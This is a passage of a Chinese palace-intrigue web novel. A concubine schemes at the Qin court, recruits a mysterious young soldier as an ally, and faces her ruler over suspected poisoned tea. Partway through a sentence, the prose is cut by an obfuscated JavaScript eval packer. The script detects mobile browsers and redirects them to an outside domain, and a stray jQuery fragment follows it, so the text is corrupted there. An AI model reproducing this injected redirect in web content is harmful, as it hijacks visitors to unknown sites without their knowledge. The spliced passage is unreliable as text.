“是么?”徐若把最后一颗鱼食扔进水中,自言自语道:“我孤身一人,没有背景,没有外家,没有势力,不属于宋王也不属于秦国,长得美人又浪,他不宠我宠谁。” 侍女听不明白,只好默默低下头不接话。 吴秋行恰巧路过凉亭,便见那红裙垂曳的雪肤美人慵慵倚在亭中,乌发半束半披,银簪斜缀松云髻,垂着细银流苏,映着阳光,流动着淡淡光辉,照在她琼玉般的眸里,显出别样的华彩来。 他上前走入凉亭,屏退了侍女。 徐若见他来,坐姿愈发不端庄,纤指慢卷鬓边发,嗓音亦放软问他:“瓜田李下,军师与我这有夫之妇独处,不太妥当罢。” 吴秋行不接她的话茬,却道:“那夜刺客,我让人查了一个月,并无眉目。” “哦,所以呢?” “他是什么人?” “哟,不巧了,我也不知道他是什么人。”徐若靠着亭中阑干,眼波流转望着他。 “徐若,第三次。”吴秋行移开视线,不去看她的眼眸,“我提醒你第三次,所谓事不过三。你若继续图谋不轨,我也不会对你心慈手软。” 徐若闻言,并未立刻发怒,她只是叹了口气,“你就对他这么忠心呀?” “不是忠心,是东洲需要他,也只能是他。” “哦……所以,被他杀的人,就是东洲不需要的渣滓,是么?” “主天下者,顾大局而舍小义。这世上岂有不沾血的英主,岂有靠仁德礼义拔下的城池?” 徐若起身,轻步至他身前,双手抚上他脸颊,让他看着自己。 她难抑心中荒唐,笑了几声,才平复下来,缓缓道:“舍小义?若舍小义,你吴秋行早就死在十年前的寒冬,早就死在那群卫国士子的脚下,还谈什么家国大计?吴先生,你不要忘了,你能在今天如此侃侃而谈,全赖我当初可怜你。” 吴秋行只是眼神淡漠地望着她。 “在我心里,你根本不是什么秦国军师,你永远都是我家的一条狗,只不过现在这条狗已经开始要撕咬他的主人了。” 即便听她侮辱他,他也不为所动,眼神平淡的像山谷中无风的湖面。 她最恨他这副风平浪静的样子,他一摆出这副模样,她就想无所不用其极将这冷静自持的面具撕碎,可最后总只显出她一人的疯魔。 似是感到她眼中即将燃起的怒意和愤恨,他才开口,“夫人莫随意动怒,对你腹中子嗣,并非好事。” 徐若冷笑一声,甩袖离去。 * 秦公最近朝政繁忙,并没怎么来看徐若。而徐若孕吐严重,也无法像之前那般为邀宠每夜都去红袖添香。 她开始懒得走动,只待在寝宫。 不过即便身子不适、不愿出门,但她于梳妆或保养方面却始终不敢懈怠。 以色事人者,色衰爱必弛。只有她尽量保持住自己的容貌身段,才能保持荣宠长盛不衰。 某夜,她遣退婢女后将要入眠,却忽然有人从窗外闯入,她方欲叫人,却被捂住嘴,那人在她耳边急道:“是我。” 徐若仔细回想,又看他几眼,才发现是那天被她骂有病的少年,也是被吴秋行追了月余的刺客。 “宫中禁卫森严,你——你怎么进来的?” “自然是见缝插针跑进来的。”这少年心里埋怨,吴秋行果然是老狐狸,把他能躲的路几乎都堵死,还一直穷追不舍,若非关键时刻法力恢复了一成,让他逃出生天,他还真得栽在他手上。再则,乱世不比清平世,秦国户籍制度严格,他一生人,在咸阳城里处处都难,躲了一个月,才在乡郊某户人家买了个身份。 那人家死了侄子,侄子无父无母,素日里不爱外出,没什么人见过,他顶了他的身份,这才敢重新出现在咸阳,又悄悄摸摸入宫。 徐若长舒一口气,知他应该不会害自己,便倚靠在床边,轻声道:“军师满城找你,你还能再次进宫,可见武艺不凡呐。” “武艺?哎,武艺不足我本身实力百分之一,只是我无法使出罢了。” “他可见过你的脸?” “没有,就算我再次站到他面前,他也认不出我。” 徐若叹道:“只可惜你……没有杀死他,太可惜了。” 那少年也不和她客气,坐到床边,正色道:“你再给我一次机会,我就杀了。” 她被他逗乐,“想的简单,如今他寝宫守卫愈发森严,加之军师智谋,上次你侥幸逃出,这次未必能进寝宫的门,还是不要兵行险招了。何况,如今我忽然又不想杀他了。” “为何?” “因为……因为我有了他的孩子。”她垂眸一笑,右手轻轻放在腹上,眼神和笑容透出难得的恬淡宁静。 “你……你有身孕?”少年语气中满是不可置信,他摇摇头,“怎、怎么可能?那……那秦公是什么人物?这……难道不该是和那谁么……” 他言语掺杂太多情绪,徐若唯一听出来的是震惊和失落。 她打断他的不可思议,转了话题,“虽然未成功,但你也算帮我做了件事,你想要什么报答?” 少年还沉浸在方才的低落情绪,“我不想要什么报答。” “一般说不要报答的,胃口都是最大的,大到也许我根本给不起。”徐若起身,走到他身前,跪坐在地,双手轻轻抚上他的右腿,再攀上他的腰带,而后靠在他的腿上,用最柔弱的目光去观察他的表情。 她喜欢这样仰视着这些男人,这样往往能极直白地从他们的眼神、唇、喉结处看到他们毫不掩饰的欲.望,扯下他们虚伪的所谓正人君子的面纱。若是秦公,此时便攥着她的腕,将她抱入罗帐中;若是吴秋行,必是眸中欲.火滔天,心中情海翻滚,却依旧强忍克制,让人看着发笑。 可眼前少年却只是望着她,认真地说:“我对你做的所有事,都不要你报答,只希望你这辈子,过的好一点。” 经过前两世,他隐约明白,无论他怎么努力,好像都被一股难言的力量钳制,让他无法逆转结局、更改局势。如果他无法改变这结局,那么退一步,让她过得好点也行。 徐若闻言,却并不相信,她笑道:“世上怎会有人无缘无故对另一个人好?你不愿说,我也不愿欠你情。” 她扯开自己腰带,褪下上衫,欲送上一吻。 少年扶住她的肩膀,沉声道:“我不是禽兽,也不是人渣。你为何要这样?” 他替她穿好衣衫,系好腰带。 徐若任他扶起自己,自嘲一笑,“你瞧,这样愈发显出我的可鄙和龌龊。” “……你怎么会这样想?” “不然呢?从进秦宫那一刻我就没有自尊了。” 恨是她活着唯一的骄傲,恨却也让她把自己的尊严踩在脚下。 “你之前到底经历了什么?”他以为他在故事开始前赶到了,没想到比以往还要迟。 她“欸”了声,指腹抵住他的唇,“别问。” “那我要怎样,才能让你开心一些?” “你若是真心说这话,我倒真有所求。秦国尚武,你这身好本领,若能用于行伍之间,必然出色。我无外戚助力,你若在朝堂据有一席之地,那你日后,就是我最大的靠山。” 少年思索一会,答应了她,“我试试。” 见她面有疲色,他道:“扰你歇息了,我这就走。” 徐若点点头,笑着送他身影融入夜色。 真是个莫名其妙的人。 但是,也有一些开心。难道这世上,真有不图回报的心意?还发生在一个只有两面之缘的人身上? 她忽然反应过来,她还没问他姓甚名谁。 真是一段荒唐缘分。 * 夏季,孕五月,徐若每日都在侍女的搀扶下在宫中散步。 近期,秦宫上下喜气洋洋,只因秦公要迎娶他真正的妻子——卫国公主卫姬。 秦卫是诸侯中西方、东方两大国,实力雄厚。此时,两国联盟正欲出兵攻打楚、齐,为表结盟心意,卫王将嫡女嫁于秦公,以结两姓之好。 国君与国夫人的婚礼十分盛大,卫国长长的送亲车驾从官道驶入咸阳城,再从咸阳城驶入秦宫。 在外,百姓夹道欢呼;在内,百官礼拜相迎。 秦公不似以往玄衣加身,一身朱红衣裳平添些温柔。 徐若及其他宫妃站在他身后,望着那卫国车辇,虽都面带笑意,心中却各有所思。 今日婚礼,她却不能穿素日最爱的红裳,只能穿着樱粉曲裾,自然不悦。 徐若悄悄勾了勾秦公广袖中的手指,秦公微微侧头,问她怎么了,可是不适。 “妾非不适,乃是不舍。”她微垂了头,轻声道。 秦公一笑,并不严肃地斥她“胡闹”。 车辇停住,盛装出嫁的少女在仆婢搀扶下缓缓下车,秦公放开徐若的手,面带笑意,下阶相迎。 徐若敛起脸上笑意,转身离去。离去前,她感到来自另一旁的视线。 她侧首以望,正对上吴秋行的眼睛。她朝他一笑,婷婷袅袅扶簪离去。 身后妃子责她不懂规矩,她也懒得理会。 卫国,公主,呵。 当夜,是秦公与国夫人新婚的洞房花烛夜。 国夫人卫姬年方及笄,还是个不谙世事的小姑娘,自然需要秦公百般呵护。 正值浓情蜜意时,内监忽然在外禀告,说徐美人身子十分不适,想请君上过去看看。还说,按理来说不该在这等时刻叨扰君上和夫人,但徐美人一直念着君上,他们也没办法。 其实若真有大事,他们早去太医署请太医令,何必来叨扰国君。 十分拙劣的争宠技俩。 卫姬却听不明白,以为真要闹出人命,便推着秦公说:“徐姐姐身体抱恙,君上快去看看她。哎呀,不对,妾身为国夫人,也应该去的,君上,咱们快一起过去罢。” 秦公拍拍她的手,“爱妻在此等寡人,不必劳烦。” “好吧,那君上快去快回,替妾向徐姐姐问声好。”卫姬甜甜一笑。 徐若懒懒躺在榻上,手中执着一枝茉莉,望着它洁白的花瓣出神。 “你说……君上会来吗?”她问一旁的侍女。 “君上向来宠爱美人,他一定会来。”侍女恭敬答道。 徐若把茉莉花枝放在面上,长长叹了口气。 门外忽然传来动静,徐若微微侧头,从纱帐中望去,隐约瞥得一角赤红。侍女拜道“君上万安”,而后退下。 徐若保持着姿势,并未起身。 纱帐被撩开,温厚的手掌贴上她的脸庞,红衣君主坐在她床畔,“闹脾气了?” 徐若哼了一声,脸庞却在他手上微微蹭了蹭,“妾哪敢和君上闹脾气,君上今夜应该陪国夫人,而不是来看妾。” “做事不懂事,说话也不懂事。” 徐若见好就收,坐起身来,依偎人怀,“君上,妾想你了。” “午时方见,现在又想念?” “今日不一样,今日格外想。君上难得穿一次红衣,迎娶的人却不是妾。妾让君上来,也只是想小小地、短暂地占有一下君上,让如此温柔的君上属于我,哪怕一刻也好。” 秦公被她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137537|180306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话逗笑,颇是爱怜地揉了揉她的头,安抚道:“好了好了,寡人知晓。只是,以后可莫再从国夫人房中拦人。” “喏。” 秦公陪她一会便离去。 侍女回来,侍奉她就寝,侍女说:“美人,君上心里还是有您的,无论谁是国夫人,他最疼爱的永远是您。” “是吗?”她下床,走到门边,将那枝茉莉折成数段,掷了出去。 仍未解气,她回首望见木桌上他赏赐的铜器玉石,将那些统统摔在地上,惊得侍女不敢说话。 摔完地面一片狼藉,侍女小心翼翼地收着,被她愤怒地打发走了。 * 徐若寝宫上下皆知,自卫姬来后,徐美人的脾性就愈发阴晴不定。 常无缘无故发脾气,但好歹从来只砸东西,不伤人。 常夜里辗转难眠,自噩梦中惊醒,是故身体愈发虚弱,日渐消瘦。 秦公怜之,让徐美人暂居自己寝宫后殿,待生产后,再迁回原室。 可徐若却愈发睡不好。 一则,她怕夜眠时喊出不该喊的东西;二则,她在此处,几乎日日能见前来请安的卫姬。 卫姬眉眼稚嫩,如清水芙蓉,笑容澈澈如清水。 卫姬天真浪漫,拉着她亲热喊她徐姐姐,说要做她腹中孩儿的干娘。 卫姬时有令人发笑的言辞,秦公笑她稚儿言语无忌。 天朗气清是初秋。 从夏到秋,秦卫联军大破楚国,举国欢庆,军师与将军归国,秦公大封将士。 秦公十分喜悦,携卫姬去咸阳城郊打猎,由军师作陪。 军师吴秋行原本是卫国人,与卫姬有一些交情。 打猎归来,三人皆面带喜色。 徐若坐在凉亭上,远远望着他们经过前方水桥。 卫姬一身赤色简装,长发高束,蹦蹦跳跳,追着前面的蝴蝶。 她一身嫣红宫装,银簪绾髻,拖着八个月的重身子,似一座雕像,在凉亭上冷眼望着他们。 卫姬的红是一团跳动燃烧的火焰,她的红是桃花飘零时唱的最后一曲挽歌。 她看见秦公无奈又宠溺的眼神,看见吴秋行唇畔隐约的笑意。 秋风微凉,她回了宫。 翌日,他们三人在寝宫前室,她在寝宫后殿,寂静听着他们说话。 原是前线递来捷报。 卫姬一字一句,有些生涩念着纸上文字。卫国不重视女儿家的学识,她学字也不过学个皮毛,常念错几个字,惹得秦公大笑。 秦公一笑,她便窘迫嗔之。 秦公说:“军师,你多教教她。卫国无诗,却不能让我秦国夫人连字也不识,说出去,寡人脸面往哪搁。” 吴秋行得令,自是耐心教导一番,给她一一指出军报上她不认的字。 徐若面无表情地听完他们的欢声笑语。 再后来,吴秋行辞行,卫姬回自己的寝宫,秦公去议事厅找相国和将军。 她从后殿的门离开,拒绝了侍婢陪同,抄了近路,和从正路离开的吴秋行打了照面。 天阴沉沉的,似有一场秋雨将至,是故四周无人。 吴秋行望着她,“你瘦了。” “军师还能看出来。”她娇柔一笑。 吴秋行看了看阴沉多云的天,“你如今身子重,不该出来乱跑,我送你回宫。” “军师那日打猎,开心么?” 吴秋行不语。 她又问:“军师今日教她念字,开心么?” 吴秋行叹息,“你想说什么?” 徐若摇摇头,“我没什么想说的。” “回去吧。” 他走过她身旁时,却被她一把拉住。 “别走,”她道,“先生还记得么,当年你也陪我一起骑马打猎过,你也教我念书识字过。” “记得,所以呢?”他望着她问道。 “所以,别再对她笑了,别再教她了,别再和她打猎了,可以么?” 吴秋行转身去看她,“你不觉得和我提这样的要求太贪心么?你拒绝我的求娶,和其他男子成亲,给其他男子生子,却反过来让我别对其他女子笑,更何况,那不过是公事。” 她笑了,“瞧瞧,你嫉妒,你心里还有我。” “我是嫉妒,我心里是有你。可我清醒,知道自己是谁,知道自己现在要做什么。我不像你,如此贪心,一边站在我的对岸,一边想拉我一齐坠入地狱。” 她说不出来话,只好维持着面上的笑。 吴秋行又道:“以后别这样对我笑,我看着,都觉得你累。” 那笑容也僵着。 他不管她跟不跟得上,行在前面。 阴沉浓云终于降下微朦细雨。 徐若看着他的背影,笑容尽失,细雨落在她眼角面颊,像极了泪。 “先生,我也曾是公主,不是吗?” “我也有过骄傲和天真的权利,不是吗?” 她说完,腹中一阵剧痛。 吴秋行见她迟迟未跟上,回首才发现她扶着桥边,面色苍白。 他赶忙抱着她回了寝宫,两人沾了一身雨。 侍女赶忙去太医署,而后通报秦公。 徐若孕期身心皆不康健,淋雨后高烧不退,足足生了一夜。 宫外大雨磅礴,电闪雷鸣,秋空难得如此可怖。 这是秦公第一嗣,举国看重,秦公和吴秋行在外守了许久。 直到暴雨消退,他们才听见婴儿的第一声啼哭。 侍女和产婆才抱着襁褓出来,脸上全是泪,嘴角却挂着笑,“恭喜君上,贺喜君上,是位小公子。” 秦公望着乌云散开、清光渐出的天,给大公子定了“朗”为名。 朗,明也。 雨霁天明,是大吉兆。 56. 秋风生渭水(5) 56.秋风生渭水(5) 公子朗不满九月降生,身体羸弱,合宫上下莫不对之多有照拂呵护。 徐若身有先天不足,孕期又思虑过甚,七日后仍无法下奶,公子朗便交由乳娘喂养。 卫姬前来看望她,被她以身子不适为由拒之门外。但若秦公来,又必然被她以各种头疼脑热的理由留宿。 一来二去,宫中“徐美人夺国夫人之宠”的消息传得极凶,自然也有人到卫姬面前嚼舌根,卫姬只说,徐美人生育艰难,身体不好,君上多爱护一些也是正常的。 卫姬年纪轻,贤德之名却已渐生。人都道,国君仁爱,夫人贤德,当真天造地设一对。 这年冬,秦齐之战暂告一段落,秦军大捷,攻齐的秦军班师回朝。 咸阳城里正在下一场雪,西风飘零,细雪斜飞,尚未染白这方世界。 徐若在侍女陪同下,在雪中散步。 宫道上忽然有一队士兵经过,打头的是几个骑兵,马蹄声和整齐划一的行军步伐打破了秦宫的寂静。 徐若和侍女走到一旁树下,给他们让道。 侍女忽然说:“美人,那打头的小将军一直在看您呢!您可认得他?” 徐若心中觉得可笑,这偌大秦国,除了吴秋行,还真没认识她的故人。 但她仍是随侍女的话回头,果真对上一双极俊秀漂亮的眼眸。 满天飞雪,天光敞亮,仍比不过他眼里光华熠熠。 年轻的将军赭衣铁甲,一丝不苟绾了发髻,骑在马上,意气风发外,也带几分威严。 是他。 他真的入伍了,且看衣着规制,大约不是普通士兵。 徐若微怔,其实她从来没想过那夜对他说的话会成真。 他们萍水相逢,两面之缘,怎么会有人真的因她随口之语,便入伍当兵。 少年将军向她微笑着颔首,而后专心行路。 她以微笑回之,目送他一行人向政殿行去。 侍女问:“美人,你认得这将军么?” “不认得。” 另一个侍女说:“美人容颜倾城,就连将军也看直了眼。” “不要胡说。”徐若嘴上虽斥她,心情却好似被清水冲洗的旧铜镜一般,渐渐明亮起来。 不日,秦公于玄武台犒赏三军。 徐若非要随他去,说是要领略领略秦国将士风采,秦公无奈,只好也把卫姬带上。 玄武台上,秦公与相国、军师等臣工、并卫姬、徐若二妃立于其上。 秦国以军功封爵,楚国、齐国这两地战役,涌现出一批能臣良将,秦公自要好生嘉奖。 军师每念到一个名字,那士兵便走上前来,由国君亲自敬酒赐爵。 念到“袁光”时,徐若认识的那少年走上前来。 秦公道:“听将军和军师说,此次大战,袁小兄弟英勇无比,单枪匹马入阵,斩下敌军主帅头颅,使我军士气大振。如今一看,真是英雄出少年,令寡人敬佩!” 少年回他:“君上谬赞,能为秦国征战,是末将无上光荣。” 秦公敬酒,赏他千金,加封左庶长之爵,是新兵中之最。 饮罢酒,他退下,回身一瞬,他望向玄武台上的红衣美人。 天光白,衣衫红,肤似雪,人如柳。 遥遥对望一眼的背后,是旁人不知、偶然结下的契约。 徐若终于真诚地露出一个笑容。 她忽然觉得,也许这咸阳城中,她并不孤单。 * 这夜,少年果然来找她。 她猜到他回来,所以早早屏退婢女,自己坐在案前翻书写字。 “我没骗你罢,我试成了,如今我是秦国的左庶长。” 徐若提笔,唇边含着淡淡的笑,“如今的左庶长可不比以往的左庶长,没什么实权,是个虚爵罢了。” “此话不对,如今虽然军衔爵位分开,但我在军中也是千夫长,可以独立领兵的。” 看他颇是得意的模样,徐若觉得他少年心性,十分可爱,忍不住掩袖一笑,而后问他:“你是叫袁光对吧?” 少年摇头,“你们秦国户籍麻烦得紧,这身份是我借来的。我的真名叫郑思如。” 徐若脸色一变,“你姓郑?” 郑思如这才反应过来,郑似乎为秦国国姓,他赶忙解释,“不是秦国之郑,我不是秦国人,恰巧姓了这个而已。” 徐若这才哦了一声,平静下来,“我还以为你和秦公同宗同族呢。” 她翻了一页书,看他只是坐在那里静静地看着自己,于是道:“你很厉害,若你以后真的肯一直听我的话,你要什么,只要我有,都可以给你。” 深夜烛火下,薄衫美人如此言语,原本就带些暧昧气氛。 “我想你跟我走。”郑思如诚实回答。 徐若叹息,“这一点除外。” “那我别无所求。” “好吧。可是,你为什么一定要带我走?你之前说倾慕我,可咱们只见了两面。难不成我真有这样大的本事,叫左庶长你一见钟情?” 他垂眸思索一会,说:“若我说,你我有三世情缘,只不过我记着,你忘了,你会信么?” 徐若一笑,“你把我当三岁小孩?” 他摊摊手,“美人不信,那我也没办法。” “我见你年纪不大,常常一人来去,家中可还有他人?” 郑思如随手拿起她桌上明珠把玩,回道:“年纪不大也比你大多了。家是什么,不存在的,我独来独往惯了。” “巧了,我也是一人,我家人早就没了。” “你有家,你有丈夫,有儿子,怎么就没家人。” 话音刚落,他见她面色渐冷,赶忙补救,“我失言了。” 徐若摇摇头,自嘲一笑,“你说的原也对,只是我不愿接受事实。”她用手扇扇风,转言道:“不说这些丧气话了,你看,在这咸阳城里,你也孤身一人,我也孤身一人,不如你我结拜为姐弟,以后在后宫前朝,互相扶持,不相辜负,可好?” “姐弟?凭什么,我不要,非要结拜也是兄妹。” 她被他逗笑,说:“好,那……义兄在上,受小妹一拜。从今往后,世上无人会比你我更亲近,义兄,你说是吗?” 郑思如点点头,“嗯……好,以后有什么事尽管说,哥帮你。” 两人说完,徐若刚好停笔,她将写好的绢帛折叠起来,递给他,“总有一日,你会用到这个。” “这是什么?” 徐若没有正面回答,她道:“秦国前朝后宫,无非是势力最大的卫国派、秦公母族宋国派、新增的战败国俘虏楚齐派和不成气候的秦国宗室。其中卫国派以国夫人、军师为首,深得君上信任;宋国派以太后和相国为首,但有日渐衰微的迹象,君上有意与外戚保持距离,这一派必不长久;楚齐我尚不知,而秦国宗室……所剩无几,基本可以忽略。” “你这么了解?” “这些原本是给我孩儿看的,不过你来了,给你会更有用。我上面写的那些人,你可以好好交结,不过……无论如何,你都要让君上以为,你是他的人。” 郑思如说:“嗯,我明白。”说完,他略有些好奇问道:“那你又属于里面哪一派?” 徐若原不想说,可看着他的眼,忽然又想和他坦白。她让他打开绢帛,指尖缓缓移向一处,点了点。 然后,她便看他眼中的好奇渐渐转为震惊,然后抬起头来,有些不可置信又有些可笑地望她一眼。 “那你和他……”郑思如刚开口,就被她用指腹抵住唇。 她摇摇头,眸光在红烛摇曳中泛着微微的红。 郑思如收起绢帛,起身欲离去,临走前对她说:“我不知道你以前到底经历什么,才会让你……这样。但我想说,以后……以后有人疼你了,你可以不用再这样。” 他说完这些话,颇有些不好意思。秦宫不能长留,他很快便离开。 她倚窗望他的背影,手中拿着他方才把玩过的明珠,上面仍残留一丝温度。 这会是她在咸阳城里真正的温暖么? 在冰天雪地冻了许久,哪怕见了火焰,也总以为那是海市蜃楼、一场幻梦。 * 秦宫最近风平浪静,原因多半是由于徐美人不再作妖。 譬如,没再托病把秦公请到自己宫中,也没再在秦公与大臣议事时不合时宜地撒娇卖痴。 每日除却散步,去奶娘那里看看公子朗,其余时候都待在自己宫中。 一日,秦公前来看她,她坐在榻边,手中持着竹简,似乎正在认真地读着。 秦公勾了勾她下巴,问:“在读什么呢?寡人好些日子没见着你。” “君上,妾在看《贤妇传》呢。宫中姊妹总嫌妾野蛮不知礼数,赞国夫人贤德,妾也想贤德些,免得做了那红颜祸水,教人戳着脊梁骨骂。” “你这话里有话,是谁敢在背后骂你?” “妾不想说,说了君上也不会罚他。” “你说,寡人替你治他的罪。” 徐若哼了一声,不满道:“还不是那些人。军师,相国,太后,还有那群妃子,各个都看不惯妾呢,说妾是妖女,说妾霸占君上,说妾寡廉鲜耻,妾无论怎样都是错的,浑身上下都是毛病。” 秦公笑道:“呀,你竟得罪这么多人。” “君上,你还笑!他们……他们也管得太宽了些,妾是君上的女人,君上想宠谁就宠谁,轮得到他们管,这手也伸得太长了!” 秦公闻言,笑容微敛,“这种话,以后可不要随便说。” “是君上说要替妾治罪,妾才说的嘛……这后宫女子,人人都有人夸,唯妾是路边的杂草,谁都看不惯,谁都能踩一脚。” 他一副愿闻其详的表情,“嗯……怎么说?” “您看,国夫人是卫国来的,军师是卫国士子,自然夸他们卫国女子如何如何贤良淑德;还有郭美人,郭美人是太后外甥女,太后自然看她顺眼,又说她心慈貌美,又说她好生养;还有那个赵良人、荀长使……妾除了君上的宠爱一无所有,在这秦宫每日都活得战战惊惊。” 秦公抽出她手中的竹简,放到一旁,笑她道:“越说越离谱,有寡人不比她们都强?再说,你还有朗儿。” “有君上这句话,妾就放心了,妾不管他们,任她们有谁呢,只有妾是君上的自己人。”徐若挽着秦公,起身道:“君上,咱们一起去看看朗儿罢,朗儿一定想他爹了。” 秦公应允,二人出门,恰巧经过国夫人寝宫。 又恰巧见到吴秋行和卫姬同行。 徐若先开的口,“哟,真巧。军师又从卫商那儿拿了什么新鲜玩意给卫夫人解思乡之情呐?” 没给那两人开口解释的机会,她靠在秦公身上,和他轻声说:“君上,妾跟你讲,妾可羡慕了。国夫人年幼离国,甚是思念家乡,恰巧近日来秦卫商日益增多,军师便常常从卫商那儿买些玩意,给夫人解闷。哎,怎么就没人对妾这么好?” 卫姬听不明白她话中玄机,只是面上懵懵懂懂地给秦公请安。 吴秋行淡笑道:“臣原本要同夫人一起去向君上问安,不想在此遇见,君上是要回寝宫么?” “军师有事相报?”秦公问道。 “是。” “晚些来吧,寡人另有要事。” “喏。” 秦公搂着徐若离去,徐若心中暗笑,悄悄回首,吴秋行果然正望着她。 她朝他得意一笑,看他眼神愈发阴郁,心中止不住大喜。 她回头,被秦公弹了额头,“你也安分些罢,别太娇纵。” * 枕旁风的度很难把握,一般来说,需要半真半假,那她也要时而机敏,时而愚蠢。 但最重要的是,她知道他大概的心意。她要做的,不过是顺着他的心意,将它放大。 给贤明君主吹耳旁风,意义并不在于左右他的看法,在于让他知道, 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其一,她是秦王独子的亲娘。 其二,那些曾瞧不上她的人,大多在朝堂势力清理中消失了。 其三,郑思如已然封爵大良造,成了秦国闻名的战神袁将军,加之,他二人七年经营,在朝中不声不响,埋了一条自己的势力。 这势力便是当初大破楚齐后,楚齐归秦的部分文臣武将。 败臣至新国,偶尔会遭到当地势力的排挤,此时,若暗地笼络,雪中送炭,别有奇效。面上,打着国君名义,私下,也感念牵线人的好。 郑思如面上与吴相国同属卫系官.员,实则手中也握着楚齐势力。 但也有让她不顺心的地方。 她不得不承认,秦王和吴秋行这对明君贤臣的存在,是对秦国百姓有益的。他们在民间拥有的威望,短期内她无法撼动,而且她没任何理由去撼动。另外,公子朗太过羸弱,他八月而生,先天不足,有哮喘顽疾。 她用七年回味吴秋行当初那一句“主天下者,顾大局而舍小义”,觉得这句话残忍却又正确。 朝堂厮杀中没有人的手能干净,在当代,胜者为王败者寇,在后世,有利于家国者为贤,害国害民则遗臭万年。没人管你是不是好母亲、好父亲,没人在乎一家一姓之内是否兄友弟恭、和乐融融。 不日,燕国献上宗室女燕纹,以示燕秦两国盟好。 燕纹年轻貌美,徐若原以为她将很快得宠。 可燕纹入秦当夜,秦王却来了她的寝宫。 她那时已准备就寝,见到秦王十分讶异,“君上……今日佳人入秦,君上怎么来妾这儿了?” 秦王坐到她身旁,笑道:“寡人怕你生气。” “妾……妾有什么好生气的?”她一时没反应过来,推着他说:“君上,佳人等不及了,您快过去罢,妾可不想又被说成狐媚祸水。” 秦王握住她推他的手,道:“你以前从来都是把寡人往身边拽,从未像今日这般把寡人向外推。” “是么?”徐若的笑容忽然有一些慌乱。 “那……寡人真去找她了?”秦王问她。 她尚处于脑内一片混乱的状态,敷衍应了一声。 秦王眼神竟有些落寞,抚了抚她的鬓角,便离去了。 秦王的反常让徐若有一丝害怕。 一种难以说清道明、不知道对象是什么的害怕。 她飞鸽传书,让郑思如有空给她带些上面写的东西。 郑思如照做。 秦王只有那一夜寝于燕纹房中,其余时日,皆在徐若宫中。 秦王说,只有在她这里他才睡得安稳。 秦王是个很容易觉察动静的人,徐若跟他开始就发现了,夜晚,但凡你有一些和平常不一样的动作,他就能醒来。她曾装梦魇试过几次,他的确很警觉。 下毒什么就更不大现实,每个入口之物,都要银针试毒,他才会碰。 七年了,也许秦王真的把她当作自己人,他来她的宫中后反而没那么守规矩。 这夜,秦王也来她的寝宫,她斟好茶水,笑容温婉以待。 秦王坐下,侍女上了两盏茶,他原本持起其中一盏,却又放下,打量了她一会道:“寡人已老,美人却年轻妩媚依旧。” “妾不敢当,君上春秋正盛,怎么说出这样的话。” 徐若其实很少仔细打量秦王的容貌,她只知道他算是个英武不凡、气宇轩昂的男子,然而七年过去,他鬓上也有零星白发。 想来为君为王,思虑过甚,早生华发。 秦王欲与她亲近,她忽然感到腹中一阵翻腾,脑海一阵眩晕,想要干呕。 秦王笑道:“美人,你莫不是有喜了?” 徐若一时间反应不过来这到底算好消息还是坏消息,只好扯个笑容勉强应对。 他说,此次无论男女,皆名为“宸”。 宸,栋梁也,传闻是北辰所在、君王所居。 “君上,这如何使得?” 秦王拍拍她的肩,“自然使得,早些安寝,让寡人再抱抱你。” 徐若一夜未眠,躺在他怀里一动也不动,翌日精神甚差。 秦王倒是睡得很好,醒来亦是面上含笑。 他洗漱完毕,穿好玄衣,带好冕旒,遣退仆婢,对她道:“今日不大想上朝,想歇一日。” “君上累了,不如再在此坐一坐罢。”她把他又扶着坐回榻上。 二人许久无言,她打破寂静,问他道:“君上口渴么?” 他望着她,轻笑着点头。 “这两盏茶,一盏是茉莉花茶,一盏是玫瑰花茶,都是妾酿的,君上想要哪一盏,剩下那盏留给妾。” 秦王淡淡一笑,手轻轻抚上她的脸,忽然叹息一声。 “寡人原以为……近九年的夫妻情分,你对寡人尚存一丝真心,原来都是奢望罢了。” 57. 秋风生渭水(6) 57.秋风生渭水(6) 周遭一切忽然寂静无声。 半晌,徐若轻攥住衣袖,笑着望他道:“君上怎么这么说?” 秦王指腹从她眉眼划到朱唇,晕开了她才上好的口脂,显得颓靡又艳丽。 秦王反问她,“你说呢?” “妾不懂。” “你心急时,做事说话便十分反常。”他笑道:“因为寡人对你好,你居然因此心急了,你在怕什么?” “君上对妾好,妾开心还来不及,怎会怕。”她忍着不露怯,始终都在用徐美人的方式和他说话。 秦王敛起笑意,淡淡问道:“还是不肯说真话?” “妾说的句句都是真话。”她眨了眨眼,从案上端起玫瑰茶盏,饮罢道:“玫瑰温纯,想为君上解乏。”而后,又从案上端起茉莉茶盏,饮了一口,“茉莉清甜,想为君上提神。” 秦王默默地看她饮下两盏茶,而后微微点头,说了声“不错”。 徐若摸不透他的意思,满眼无辜地笑着叹道:“君上,这茶是妾专门为君上泡的,可惜君上一口也没沾,全入了妾的腹中。” 秦王嗯了声,收回手,“很好。” 他笑,她亦笑。 他起身理理袍服,“上朝了。” 徐若恭送他离开,再次起身时,才发现自己双腿已然发麻发软,花了好一番力气,才扶着桌案起了身。 她从衣襟内侧中拿出一个薄薄的泛黄纸包,将它打开,都撒进茶水里,然后一股脑饮下去。 饮罢,在空旷的寝宫中,她止不住笑了好几声。 * 傍晚,她路经池塘,见吴秋行在对面专心致志地投喂锦鲤。 玩心大起,她从地上捡起一块大石头抛过去。石头落到吴秋行身前的水池,溅起一片水花,把他衣衫打湿,把他喂的鱼儿也打散开。 她用手帕擦手,慢悠悠走到他身侧。 吴秋行被她打断喂鱼,也不恼怒,“看来,美人最近过得很顺心。” 徐若看了看自己洁白如玉的双手,悠悠叹道:“军师没把我弄死,我当然顺心。” “哦,此话何意?” 徐若微微歪头,问他:“忍了这些年不告诉他真相,这几日终于忍不住说出口了?” 吴秋行往旁边走去,继续喂鱼,回道:“若美人不胡作非为,在秦宫一生无忧,当个宠妃,也是不错的,我又何必坏人美事。只可惜,美人终究是按捺不住。” 